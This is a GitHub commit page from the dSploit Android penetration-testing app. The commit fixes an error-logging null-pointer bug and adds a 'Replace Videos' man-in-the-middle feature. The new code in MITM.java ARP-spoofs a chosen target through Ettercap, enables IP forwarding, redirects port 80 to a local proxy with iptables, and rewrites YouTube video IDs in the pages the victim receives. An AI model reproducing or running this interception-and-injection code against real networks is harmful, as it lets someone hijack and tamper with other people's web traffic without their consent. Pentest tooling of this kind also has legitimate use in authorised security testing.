Skip to content

Commit

Permalink
Fixed issue cSploit#27: java.lang.NullPointerException on error logging.
Browse files Browse the repository at this point in the history
Implemented video replace filter.
  • Loading branch information
evilsocket committed Oct 8, 2012
1 parent 0571fc4 commit c4e8418
Show file tree
Hide file tree
Showing 10 changed files with 127 additions and 37 deletions.
2 changes: 1 addition & 1 deletion AndroidManifest.xml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="it.evilsocket.dsploit"
android:versionCode="1"
android:versionName="1.0.14b" >
android:versionName="1.0.15b" >

<uses-sdk android:minSdkVersion="9" android:targetSdkVersion="15" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
Expand Down
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
1.0.14b
1.0.15b
Binary file added res/drawable-hdpi/action_youtube_48.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added res/drawable-ldpi/action_youtube_48.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added res/drawable-mdpi/action_youtube_48.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added res/drawable-xhdpi/action_youtube_48.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added res/drawable/action_youtube_48.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
67 changes: 38 additions & 29 deletions src/it/evilsocket/dsploit/core/System.java
Original file line number Diff line number Diff line change
Expand Up @@ -145,37 +145,46 @@ public static String getLastError( ) {
}

public static synchronized void errorLogging( String tag, Exception e ) {
setLastError( e.getMessage().isEmpty() ? e.toString() : e.getMessage() );

Log.e( tag, e.toString() );

Writer sWriter = new StringWriter();
PrintWriter pWriter = new PrintWriter( sWriter );
String sTrace = "",
sOutput = ( new File( Environment.getExternalStorageDirectory().toString(), ERROR_LOG_FILENAME ) ).getAbsolutePath();

e.printStackTrace( pWriter );

sTrace = sWriter.toString();

Log.e( tag, sTrace );

if( mContext != null && getSettings().getBoolean( "PREF_DEBUG_ERROR_LOGGING", false ) == true )
{
try
{
FileWriter fWriter = new FileWriter( sOutput );
BufferedWriter bWriter = new BufferedWriter( fWriter );

bWriter.write( sTrace );

bWriter.close();
}
catch( IOException ioe )
{
Log.e( TAG, ioe.toString() );
String message = "Unknown error.",
trace = "Unknown trace.",
filename = ( new File( Environment.getExternalStorageDirectory().toString(), ERROR_LOG_FILENAME ) ).getAbsolutePath();

if( e != null )
{
if( e.getMessage() != null && e.getMessage().isEmpty() == false )
message = e.getMessage();

else if( e.toString() != null )
message = e.toString();

Writer sWriter = new StringWriter();
PrintWriter pWriter = new PrintWriter( sWriter );

e.printStackTrace( pWriter );

trace = sWriter.toString();

if( mContext != null && getSettings().getBoolean( "PREF_DEBUG_ERROR_LOGGING", false ) == true )
{
try
{
FileWriter fWriter = new FileWriter( filename );
BufferedWriter bWriter = new BufferedWriter( fWriter );

bWriter.write( trace );

bWriter.close();
}
catch( IOException ioe )
{
Log.e( TAG, ioe.toString() );
}
}
}

setLastError( message );
Log.e( tag, message);
Log.e( tag, trace );
}

private static void preloadServices( ) {
Expand Down
5 changes: 1 addition & 4 deletions src/it/evilsocket/dsploit/net/http/proxy/StreamThread.java
Original file line number Diff line number Diff line change
Expand Up @@ -58,14 +58,11 @@ public void run() {

try
{
while( ( read = mReader.read( chunk, 0, CHUNK_SIZE ) ) > 0 )
while( ( read = mReader.read( chunk, 0, CHUNK_SIZE ) ) > 0 && size < max )
{
mBuffer.append( chunk, read );

size += read;

if( size >= max )
throw new RuntimeException( "Max buffer size reached." );
}

if( mBuffer.isEmpty() == false )
Expand Down
88 changes: 86 additions & 2 deletions src/it/evilsocket/dsploit/plugins/mitm/MITM.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
package it.evilsocket.dsploit.plugins.mitm;

import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;

Expand Down Expand Up @@ -50,11 +51,14 @@
import it.evilsocket.dsploit.gui.dialogs.InputDialog;
import it.evilsocket.dsploit.gui.dialogs.InputDialog.InputDialogListener;
import it.evilsocket.dsploit.net.Target;
import it.evilsocket.dsploit.net.http.proxy.Proxy;
import it.evilsocket.dsploit.tools.Ettercap.OnReadyListener;

public class MITM extends Plugin
{
private static final String TAG = "MITM";
private static final int SELECT_PICTURE = 1010;
private static final String TAG = "MITM";
private static final int SELECT_PICTURE = 1010;
private static final Pattern YOUTUBE_PATTERN = Pattern.compile( "youtube\\.com/.*\\?v=([a-z0-9_-]+)", Pattern.CASE_INSENSITIVE );

private ListView mActionListView = null;
private ActionAdapter mActionAdapter = null;
Expand Down Expand Up @@ -356,6 +360,86 @@ public void onClick(View v) {
}
}
}));

mActions.add( new Action
(
"Replace Videos",
"Replace all youtube videos on webpages with the specified one.",
R.drawable.action_youtube_48,
new OnClickListener(){
@Override
public void onClick(View v) {
final ProgressBar activity = ( ProgressBar )v.findViewById( R.id.itemActivity );

if( activity.getVisibility() == View.INVISIBLE )
{
setStoppedState();

new InputDialog
(
"Video",
"Enter the url of the video :",
"http://www.youtube.com/watch?v=dQw4w9WgXcQ",
true,
MITM.this,
new InputDialogListener(){
@Override
public void onInputEntered( String input )
{
final String video = input.trim();
Matcher matcher = YOUTUBE_PATTERN.matcher( input );

if( video.isEmpty() == false && matcher != null && matcher.find() )
{
final String videoId = matcher.group( 1 );
final Proxy proxy = System.getProxy();

activity.setVisibility( View.VISIBLE );

Toast.makeText( MITM.this, "Tap again to stop.", Toast.LENGTH_LONG ).show();

System.getEttercap().spoof( System.getCurrentTarget(), new OnReadyListener(){
@Override
public void onReady()
{
System.setForwarding( true );

proxy.setFilter( new Proxy.ProxyFilter() {
@Override
public String onHtmlReceived(String html) {
if( html.matches( "(?s).+/v=[a-zA-Z0-9_-]+.+" ) )
html = html.replaceAll( "(?s)/v=[a-zA-Z0-9_-]+", "/v=" + videoId );

else if( html.matches( "(?s).+/v/[a-zA-Z0-9_-]+.+" ) )
html = html.replaceAll( "(?s)/v/[a-zA-Z0-9_-]+", "/v/" + videoId );

else if( html.matches( "(?s).+/embed/[a-zA-Z0-9_-]+.+" ) )
html = html.replaceAll( "(?s)/embed/[a-zA-Z0-9_-]+", "/embed/" + videoId );

return html;
}
});

new Thread( proxy ).start();

System.getIPTables().portRedirect( 80, System.HTTP_PROXY_PORT );
}

}).start();
}
else
new ErrorDialog( "Error", "Invalid youtube video.", MITM.this ).show();
}}
).show();
}
else
{
HTTPFilter.stop( System.getProxy() );

activity.setVisibility( View.INVISIBLE );
}
}
}));

mActions.add( new Action
(
Expand Down

0 comments on commit c4e8418

Please sign in to comment.